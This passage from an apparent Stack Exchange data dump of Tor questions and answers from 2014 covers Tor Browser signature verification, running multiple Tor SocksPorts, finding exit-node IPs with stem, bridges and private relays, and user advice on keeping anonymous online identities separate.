&lt;br&gt;&#xA;sub   2048R/EB399FD7 2003-10-16  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Users\MEuser&gt;&quot;C:\Program Files (x86)\Gnu\GnuPg\gpg2.exe&quot; --verify &quot;C:\Users\MEuser\Downloads\torbrowser-install-3.6.2_en-US.exe.asc&quot; &quot;C:\Users\MEuser\Downloads\torbrowser-install-3.6.2_en-US.exe&quot;&lt;br&gt;&#xA;gpg: Signature made 06/09/14 17:52:45 Eastern Daylight Time using RSA key ID 63FEE659&lt;br&gt;&#xA;&lt;strong&gt;gpg: BAD signature from &quot;Erinn Clark &quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here is the identical syntax used in v &lt;strong&gt;3.5 which DOES verify!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Users\MEuser&gt;&quot;C:\Program Files (x86)\Gnu\GnuPg\gpg2.exe&quot; --verify &quot;C:\Users\MEuser\Downloads\torbrowser-install-3.5_en-US.exe.asc&quot; &quot;C:\Users\MEuser\Downloads\torbrowser-install-3.5_en-US.exe&quot;&lt;br&gt;&#xA;gpg: Signature made 12/17/13 15:41:17 Eastern Standard Time using RSA key ID 63FEE659&#xA;gpg: Good signature from &quot;Erinn Clark &quot;&lt;br&gt;&#xA;gpg:                 aka &quot;Erinn Clark &quot;&lt;br&gt;&#xA;gpg:                 aka &quot;Erinn Clark &quot;&lt;br&gt;&#xA;gpg: WARNING: This key is not certified with a trusted signature!&lt;br&gt;&#xA;gpg:          There is no indication that the signature belongs to the owner.&lt;br&gt;&#xA;Primary key fingerprint: 8738 A680 B84B 3031 A630  F2DB 416F 0610 63FE E659  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALSO -- Here's the ASC file text for the 3.6.2 bundle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----BEGIN PGP SIGNATURE-----&lt;br&gt;&#xA;Version: GnuPG v1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iQEcBAABCAAGBQJTliytAAoJEEFvBhBj/uZZRz4H/A3bBD/yNIVHl78Mk3V5Y3Ge&lt;br&gt;&#xA;nbpEEixEwwVvJT+l13tU8wgMks6LHqqiC2xCFO02snbqR4gB039vhLGQzUhjbqZQ&lt;br&gt;&#xA;xVH9CQa4sFxKO78mxVURwZmWom0ofN/dqtKEEhJp8B8AFjJkPny2Fl8smFauS6+S&lt;br&gt;&#xA;kRBHRlSKhtuEkjl3YqmK8/UfWX9ywrBbZSpGnBBwQ2T0AMSGbiGPgBqUdnjq5eLd&lt;br&gt;&#xA;330l16Yi6m7TLPTq0I5E/z2ZvgFZUyM7Qm4UcpGP+Ui9g34hnlBaj2PljuUcXjBw&lt;br&gt;&#xA;1O9oauOu1lzfbFWdvZnVjdOsMb8VidGu2qj6IPVWYb+jbeFmWzA8ItTyO0cJxB4=&lt;br&gt;&#xA;=vyxe&lt;br&gt;&#xA;-----END PGP SIGNATURE-----  &lt;/p&gt;&#xA;" OwnerUserId="3262" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-07-27T12:55:58.910" Title="Tor Browser-how to verify signature? -- Signatures failing in 3.6.2" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3643" PostTypeId="2" ParentId="3640" CreationDate="2014-07-26T05:34:20.987" Score="1" Body="&lt;p&gt;The SocksPort aspect is easy. Just start multiple instances:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --defaults-torrc @CONFDIR@/torrc-defaults --SocksPort 9050&#xA;tor --defaults-torrc @CONFDIR@/torrc-defaults --SocksPort 9051&#xA;tor --defaults-torrc @CONFDIR@/torrc-defaults --SocksPort 9052&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's the DnsPort aspect that's hard. The default is port 53. You could bind each instance to a different DnsPort:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --defaults-torrc @CONFDIR@/torrc-defaults --SocksPort 9050 --DnsPort 9090&#xA;tor --defaults-torrc @CONFDIR@/torrc-defaults --SocksPort 9051 --DnsPort 9091&#xA;tor --defaults-torrc @CONFDIR@/torrc-defaults --SocksPort 9052 --DnsPort 9092&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you could map port 53 for each application to the proper DnsPort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The canonical answer about entry guards is that variety greatly &lt;a href=&quot;https://blog.torproject.org/category/tags/entry-guards&quot; rel=&quot;nofollow&quot;&gt;increases vulnerability to relay adversaries&lt;/a&gt;. The idea of using just one entry guard, and keeping it longer that the current two-month default, is &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9273&quot; rel=&quot;nofollow&quot;&gt;under discussion&lt;/a&gt;. You could add &quot;NumEntryGuards 1&quot; to &quot;torrc-defaults&quot;, and just have one per instance. And you could use &quot;EntryNodes node,node,…&quot; to specify trusted entry guards with good bandwidth, either in &quot;torrc-defaults&quot; for all instances, or individually in each command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strategy of fragmenting activity into unrelated components, and then isolating and disassociating the components, is useful in two ways. First, it protects anonymity. As long as the components are sufficiently unrelated and disassociated, adversaries can't build a coherent persona model, even if they can see each of the components, or at least their effects. And with no coherent persona model, matching to known persons is problematic. And second, it limits the impact if any component is compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't think that isolating and disassociating by entry guard is all that useful by itself. Typical relay adversaries run lots of attractive entry guards. Over time, their entry guards scan virtually all clients using the default: three entry guards, rotated based on the GuardLifetime parameter from the consensus directory (currently two months).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over time, they seek circuits that use both one of their entry guards, and one of their exit relays. Whenever they find one, they log whatever information is available about the circuit, and also about the destination. Even if there's end-to-end encryption, they get an IP address and some information about the protocol and whatever. And the logs obviously include client IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given such logs, it's trivial to select client IP addresses of interest, based on destinations of interest. As long as an adversary's entry guards can scan through most clients, even if it takes a year or more, they can eventually associate some set of the anonymous components with an IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, isolating and disassociating by entry guard is an effective strategy only when your entry guards are highly trusted. If I were doing this, I would probably use my own entry guards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using maximal isolation via some concatenated mix of VPNs, JonDonym and Tor, I'd lease several small hosted servers (not VPS). I'd pay with &lt;a href=&quot;https://tor.stackexchange.com/questions/3422/hide-vpn-money-trail/3426#3426&quot;&gt;insanely highly anonymized Bitcoins, and/or cash by mail&lt;/a&gt;. I'd use dm-crypt/LUKS FDE, with dropbear for remote decryption/mounting. Any server that spontaneously rebooted would be dropped as untrusted. And I'd use Tor-ramdisk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even so, some of those entry guards might be tapped by hosting providers, ISPs, etc. To distribute trust, I'd site them across as many different political/military power blocks as possible. I'd also specify entry guards (bridges, really) as domain names, and use DNS-based fast flux (Proximax) to rapidly cycle through my set of semi-trusted entry guards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that, it might be useful to route each Tor client through a different JonDonym mix, with a premium account funded by insanely highly anonymized Bitcoins. I would access JonDonym via multiple nested VPN chains, using a mix of trusted VPN services and private VPNs, set up as described above for the entry guards.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-07-26T19:14:57.180" LastActivityDate="2014-07-26T19:14:57.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3646" PostTypeId="2" ParentId="3640" CreationDate="2014-07-26T17:11:26.837" Score="3" Body="&lt;p&gt;You can run a single Tor daemon, but configure it to open multiple SocksPort (and/or TransPort &amp;amp; DNSPort) listeners. Applications that connect to different listener ports will use isolated circuits if your Tor version is 0.2.4 or higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general consensus about guard nodes seems to be that the Tor client daemon already selects too many, and a reduction is planned.&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9273&quot; rel=&quot;nofollow&quot;&gt;&lt;sup&gt;[1]&lt;/sup&gt;&lt;/a&gt; Multiple Tor daemons would select even more, so it's probably not a good idea.&lt;/p&gt;&#xA;" OwnerUserId="3266" LastEditorUserId="923" LastEditDate="2014-07-28T01:19:27.343" LastActivityDate="2014-07-28T01:19:27.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3647" PostTypeId="2" ParentId="3641" CreationDate="2014-07-26T18:59:59.680" Score="1" Body="&lt;p&gt;After emailing with support, they pointed me to the new version, 3.6.3 that came out today.  And, THIS version DID VERIFY!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, 3.6.2 is still suspect in my book.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 3.6.3, which was released July 25th, 2014, at 2130, verifies just fine using the strings in my post above, just by changing the username and the version, (and verifying the path).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download at the SSL site at one of the two links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy for Windows&lt;br&gt;&#xA;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All versions, languages, and OS's of 3.6.3&lt;br&gt;&#xA;&lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/3.6.3/&quot; rel=&quot;nofollow&quot;&gt;https://archive.torproject.org/tor-package-archive/torbrowser/3.6.3/&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="3262" LastEditorUserId="923" LastEditDate="2014-07-27T12:55:58.910" LastActivityDate="2014-07-27T12:55:58.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3648" PostTypeId="1" CreationDate="2014-07-26T21:31:54.050" Score="2" ViewCount="2965" Body="&lt;p&gt;I have been trying to get the IP address of the &lt;code&gt;tor&lt;/code&gt; exit node from a &lt;code&gt;bash&lt;/code&gt; script. I have tried &lt;code&gt;torify&lt;/code&gt;ing the usual methods found in various posts in forums for getting one's local IP address. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify wget -qO- http://ipecho.net/plain ; echo&#xA;torify curl -s https://check.torproject.org/ | grep &quot;Your IP address appears to be:&quot; | grep -o '\(\d\{1,3\}\.\)\{3\}\d\{1,3\}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All these methods return a different IP address than that given by &lt;code&gt;check.torproject.org&lt;/code&gt; or any IP identifying site from the browser configured to use &lt;code&gt;tor&lt;/code&gt; as a proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modified the &lt;code&gt;stem&lt;/code&gt; script from &lt;a href=&quot;https://stackoverflow.com/a/17130011&quot;&gt;https://stackoverflow.com/a/17130011&lt;/a&gt; to get the exit relays and compare the results with that given by the &lt;code&gt;bash&lt;/code&gt; shell command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;from stem import Signal&#xA;import os&#xA;import time&#xA;&#xA;from stem import CircStatus&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;  controller.authenticate()&#xA;  controller.signal(Signal.NEWNYM) # get new tor identity&#xA;&#xA;time.sleep(5)&#xA;&#xA;print&#xA;print &quot;Exit relays:&quot;&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;  controller.authenticate()&#xA;&#xA;  for circ in controller.get_circuits():&#xA;    if circ.status != CircStatus.BUILT:&#xA;      continue&#xA;&#xA;    exit_fp, exit_nickname = circ.path[-1]&#xA;    exit_desc = controller.get_network_status(exit_fp, None)&#xA;    exit_address = exit_desc.address if exit_desc else 'unknown' # get relay IP&#xA;&#xA;    print exit_address&#xA;&#xA;print&#xA;print &quot;wget:&quot;&#xA;&#xA;os.system(&quot;torify wget -qO- http://ipecho.net/plain ; echo&quot;)&#xA;os.system(&quot;open 'https://check.torproject.org/'&quot;)&#xA;print&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I find that the first address is usually the correct address of the exit node and the second address is usually that given by the &lt;code&gt;bash&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exit relays:&#xA;178.63.97.34&#xA;5.104.224.5&#xA;188.138.1.229&#xA;128.204.203.103&#xA;&#xA;wget:&#xA;5.104.224.5&#xA;&#xA;Exit relays:&#xA;91.109.244.104&#xA;31.172.30.4&#xA;&#xA;wget:&#xA;31.172.30.4&#xA;&#xA;Exit relays:&#xA;193.14.16.36&#xA;128.204.203.103&#xA;89.248.168.6&#xA;91.109.244.104&#xA;31.172.30.4&#xA;&#xA;wget:&#xA;128.204.203.103&#xA;&#xA;Exit relays:&#xA;46.182.106.190&#xA;178.32.181.96&#xA;217.14.208.233&#xA;188.226.194.35&#xA;&#xA;wget:&#xA;178.32.181.96&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So is the address gotten by &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;curl&lt;/code&gt; the &lt;em&gt;entry&lt;/em&gt; node or what…, and why? How can I get the EXIT node from bash?&lt;/p&gt;&#xA;" OwnerUserId="3267" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2020-08-13T15:41:27.923" Title="Problem getting Tor exit node from a bash script" Tags="|exit-relays|stem|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3650" PostTypeId="2" ParentId="3648" CreationDate="2014-07-27T05:53:00.137" Score="3" Body="&lt;p&gt;If your configured Tor socks port is 9150, then you can try this command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl --socks5-hostname localhost:9150 http://ipecho.net/plain&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also can configure it by editing your config file (usually named &lt;code&gt;torrc&lt;/code&gt;) or pass an option named &lt;code&gt;socksport&lt;/code&gt; as command-line argument when executing Tor.&lt;/p&gt;&#xA;" OwnerUserId="3150" LastActivityDate="2014-07-27T05:53:00.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3654" PostTypeId="2" ParentId="3636" CreationDate="2014-07-27T12:29:26.037" Score="2" Body="&lt;p&gt;Bridge, is designed to act as entry node (guard). There is no difference as far as number of hops with or without bridges when you connect to a given server. If there were three hops required to connect to given server without a bridge, there are three hops required to connect to a given server with a bridge. This include the bridge as a first of three hops and two other hops. If only one hop was required to connect to a given server, then if you use a bridge, it will be the only hop. If six hops is required to connect to a server (hidden services), and you use a bridge to connect to the server (hidden services, the bridge act as first hop and you will go through five other hops for the total of six hops. In summary bridge will be your guard.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-07-27T12:29:26.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3656" PostTypeId="2" ParentId="3617" CreationDate="2014-07-27T16:23:33.723" Score="0" Body="&lt;p&gt;You can access all these sites: facebook, gmail, twitter, etc. but you must use a completely anon email acct/credentials when registering. Yes, per previous answer, don't use anon account and then friend all your friends/relatives. The torproject website has a big list of 'do nots'. torproject.org&lt;/p&gt;&#xA;" OwnerUserId="3213" LastActivityDate="2014-07-27T16:23:33.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3657" PostTypeId="2" ParentId="1207" CreationDate="2014-07-27T18:11:57.213" Score="1" Body="&lt;p&gt;We created an email service, currently in beta, 100% free and open source, specifically Tor friendly.&#xA;Check out the features list: &lt;a href=&quot;https://ruggedinbox.com/features.php&quot; rel=&quot;nofollow&quot;&gt;https://ruggedinbox.com/features.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3277" LastEditorUserId="923" LastEditDate="2014-07-28T01:06:29.073" LastActivityDate="2014-07-28T01:06:29.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3658" PostTypeId="1" CreationDate="2014-07-27T18:19:28.877" Score="1" ViewCount="250" Body="&lt;p&gt;Tor Browser Bundle returns the message:&#xA;Vidalia exited abnormally. Exit code: 2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to get this working?&lt;/p&gt;&#xA;" OwnerUserId="3278" LastEditorUserId="923" LastEditDate="2014-07-28T01:09:25.713" LastActivityDate="2014-07-28T01:09:25.713" Title="Vidalia exited abnormally. Exit code: 2" Tags="|tor-browser-bundle|vidalia|" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-25T06:22:31.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="3659" PostTypeId="2" ParentId="465" CreationDate="2014-07-27T18:28:52.060" Score="1" Body="&lt;p&gt;Yes it is possible to run a full open source email stack (postfix + dovecot + roundcube + ...) as a Tor hidden service&#xA;and use it with Tor Browser Bundle (the webmail) and also with torsocks + claws-mail.&#xA;Additionally, postfix can be tweaked to strip privacy related headers from outgoing emails.&#xA;We deploy such configurations and do extensive packet sniffing and analysis, there are no leaks.&lt;/p&gt;&#xA;" OwnerUserId="3277" LastEditorUserId="923" LastEditDate="2014-07-28T01:05:03.283" LastActivityDate="2014-07-28T01:05:03.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3660" PostTypeId="1" CreationDate="2014-07-28T05:11:23.413" Score="2" ViewCount="2297" Body="&lt;p&gt;Can anyone tell me what it means? I suppose it's some kind of warning, but it doesn't say what for. I get it every time I open a new web page; then, choosing 'Preferences'--&gt;'Restore Defaults' from the menu that opens when the icon is clicked on, it goes away, but it comes back every time I open a new web page. Can I make it disappear permanently? Thank you for your answer.&lt;/p&gt;&#xA;" OwnerUserId="3279" LastEditorUserId="3279" LastEditDate="2014-07-28T08:42:00.140" LastActivityDate="2019-06-25T01:38:58.190" Title="Yellow flickering exclamation mark appears on onion icon in toolbar when opening a new web page" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3661" PostTypeId="1" CreationDate="2014-07-28T05:35:57.737" Score="1" ViewCount="1741" Body="&lt;p&gt;The day before I got a serious problem communicating with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Bootstrap Result:&#xA;Whonix-check gave up waiting after 60 seconds.&#xA;Bootstrapping 85% done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor reports: WARN BOOTSRAP PROGRESS=85 TAG= handshake_or SUMMARY=&quot;Finishing handshake with first&#xA;hop “WARNING=&quot;Connection timed out&quot; REASON=TIMEOUT COUNT=75 RECOMMENDATION=warn&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RvjlR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all I checked the Tor on host and Tor working well, but before ruining showed me this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    7/29/2014 7:33:11 AM.587 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/29/2014 7:33:11 AM.587 [NOTICE] Pluggable transport proxy (fte exec Tor\PluggableTransports\fteproxy --managed) does not provide any needed transports and will not be launched. &#xA;7/29/2014 7:33:11 AM.587 [NOTICE] Pluggable transport proxy (flashproxy exec Tor\PluggableTransports\flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched. &#xA;7/29/2014 7:33:11 AM.587 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/29/2014 7:33:11 AM.587 [NOTICE] Pluggable transport proxy (fte exec Tor\PluggableTransports\fteproxy --managed) does not provide any needed transports and will not be launched. &#xA;7/29/2014 7:33:11 AM.587 [NOTICE] Pluggable transport proxy (flashproxy exec Tor\PluggableTransports\flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched. &#xA;7/29/2014 7:33:11 AM.615 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;7/29/2014 7:33:13 AM.771 [NOTICE] Bootstrapped 5%: Connecting to directory server. &#xA;7/29/2014 7:33:13 AM.778 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server. &#xA;7/29/2014 7:33:15 AM.375 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection. &#xA;7/29/2014 7:33:15 AM.803 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus. &#xA;7/29/2014 7:33:16 AM.100 [NOTICE] Bootstrapped 50%: Loading relay descriptors. &#xA;7/29/2014 7:33:35 AM.159 [WARN] Proxy Client: unable to connect to 208.79.90.242:35658 (&quot;TTL expired&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But after awhile Tor is connecting and Tor browser normally opens. However, I Still have problem connecting on Whonix OS. &lt;/p&gt;&#xA;" OwnerUserId="3280" LastEditorUserId="923" LastEditDate="2014-07-30T12:09:50.930" LastActivityDate="2015-01-01T15:14:16.220" Title="Whonix/Tor Connecting Error" Tags="|whonix|torcheck|" AnswerCount="0" CommentCount="10" ClosedDate="2015-08-25T18:24:59.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="3662" PostTypeId="2" ParentId="3344" CreationDate="2014-07-28T05:45:20.143" Score="1" Body="&lt;p&gt;My impression is that Atlas is totally broken, and Globe is flaky.  I use &lt;a href=&quot;http://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;http://torstatus.blutmagie.de/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eventdns error messages appear to be a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/2964&quot; rel=&quot;nofollow&quot;&gt;known problem&lt;/a&gt; with Tor going back many years, if you just do a Google search.  One person claimed to have &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2013-September/002783.html&quot; rel=&quot;nofollow&quot;&gt;fixed it&lt;/a&gt; by running a recursive DNS server locally.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2014-07-28T07:13:19.833" LastActivityDate="2014-07-28T07:13:19.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3664" PostTypeId="1" CreationDate="2014-07-28T09:42:31.270" Score="9" ViewCount="1714" Body="&lt;p&gt;There are applications where private relays, not listed in public consensus directories, would perhaps be useful. For example, one might use four-relay circuits with private entry guards and exit relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;https://tor.stackexchange.com/questions/1376/how-to-create-a-private-exit-node&quot;&gt;How to create a private exit node?&lt;/a&gt;, &lt;code&gt;weasel - Peter Palfrader&lt;/code&gt; notes: &quot;The routing protocol allows for [private exit nodes], but there is no support in Tor or its directory layer for what you ask.&quot; However, I see in the manpage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PublishServerDescriptor 0|1|v1|v2|v3|bridge,…  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This option specifies which descriptors Tor will publish when acting as a relay. You can choose multiple arguments, separated by commas.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If this option is set to 0, Tor will not publish its descriptors to any directories. (This is useful if you’re testing out your server, or if you’re using a Tor controller that handles directory publishing for you.) Otherwise, Tor will publish its descriptors of all type(s) specified. The default is &quot;1&quot;, which means &quot;if running as a server, publish the appropriate descriptors to the authorities&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if I set &lt;code&gt;PublishServerDescriptor 0&lt;/code&gt; in a relay, it won't appear in any directories, right? But a client can still specify it as an exit, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in that case, will information about my relay be forwarded beyond any adjacent relays in circuits specified by clients?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just to be clear, is it true that none of the considerations discussed in &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;The lifecycle of a new relay&lt;/a&gt; apply to unlisted relays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry-guard piece seems trivial: bridges, perhaps obfuscated. But there is some ambiguity. I see in the manpage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BridgeRelay 0|1  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Sets the relay to act as a &quot;bridge&quot; with respect to relaying connections from bridge users to the Tor network. It mainly causes Tor to publish a server descriptor to the bridge database, rather than publishing a relay descriptor to the public directory authorities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if I set &lt;code&gt;PublishServerDescriptor 0&lt;/code&gt; and &lt;code&gt;BridgeRelay 1&lt;/code&gt; in a relay, will it be usable as a bridge, and yet not appear in any public directory? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For using it as a bridge, I see in the manpage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bridge [transport] IP:ORPort [fingerprint]  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When set along with UseBridges, instructs Tor to use the relay at &quot;IP:ORPort&quot; as a &quot;bridge&quot; relaying into the Tor network. If &quot;fingerprint&quot; is provided (using the same format as for DirAuthority), we will verify that the relay running at that location has the right fingerprint. We also use fingerprint to look up the bridge descriptor at the bridge authority, if it’s provided and if UpdateBridgesFromAuthority is set too. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;UpdateBridgesFromAuthority&lt;/code&gt; is not set, will the Tor client check the fingerprint by directly accessing the bridge, without &quot;look[ing] up the bridge descriptor at the bridge authority&quot;? In other words, will the client use bridges that aren't in the bridge authority?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-02-06T21:08:44.257" Title="In what ways can private relays be used?" Tags="|relays|exit-relays|bridge|directory|private|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3665" PostTypeId="2" ParentId="3560" CreationDate="2014-07-28T10:21:42.023" Score="1" Body="&lt;p&gt;Yes, if using clearnet you establish a pattern and then continue with that pattern of browsing/activity on Tor then there is a big chance for correlation. Then again it depends what you're doing. Can it be done? Yes. Will it be done if you're not doing anything important to anyone watching then probably not. I think deanonymizing people for the sake of deanonymization is just stupid and a waste of time and resources even if it's automated. However the answer is a definite yes. &lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2014-07-28T10:21:42.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3667" PostTypeId="2" ParentId="3560" CreationDate="2014-07-28T10:52:02.157" Score="0" Body="&lt;p&gt;I agree with Alan that it could be done, and that whether or not it would be done depends on how interesting you are to the adversary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my policy to keep true-name activities and &quot;anonymous&quot; activities totally separate. I also firewall &quot;anonymous&quot; activities (each of A, B and C) to distinct VMs and connection paths (some mix of nested VPN chains, JonDonym and/or Tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting out, you would gradually stop accessing A, B and C in plausible ways, but not by something obvious like getting banned. Just seem to lose interest. And then, more or less randomly, create new accounts on A, B and C, using a distinct Tor browser instance (or better, distinct Whonix instance) for each one. Some overlap in time between old and new accounts is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new accounts must remain totally unassociated with your old accounts. Show new interests, at least at first, and make new friends. Talking with yourself is probably a bad idea. Tell no one about the switch, no matter how well you trust them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recommend faking language style, because it's hard to keep consistent over time. You could start out being very formal, with occasional simple errors, and then relax over time. Read &lt;a href=&quot;https://ell.stackexchange.com/&quot;&gt;https://ell.stackexchange.com/&lt;/a&gt; (or the equivalent for the language to be used) for ideas.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-07-28T11:02:21.823" LastActivityDate="2014-07-28T11:02:21.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3668" PostTypeId="2" ParentId="3660" CreationDate="2014-07-28T10:55:57.990" Score="1" Body="&lt;p&gt;The flickering exclamation mark shows you that a new release of Tor Browser is available. It is a recommendation to download the new version. So the best way to get rid of it is to go to &lt;a href=&quot;https://torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://torproject.org/&lt;/a&gt; and to download the new Tor Browser Bundle.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-28T10:55:57.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3670" PostTypeId="1" CreationDate="2014-07-28T11:30:18.803" Score="2" ViewCount="414" Body="&lt;p&gt;Are there any statistics or estimates on the ratio of Tails users vs. Tor Browser Bundle users?&lt;/p&gt;&#xA;" OwnerUserId="3283" LastActivityDate="2014-12-30T18:28:14.460" Title="Ratio of Tails users vs. TBB users" Tags="|tor-browser-bundle|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
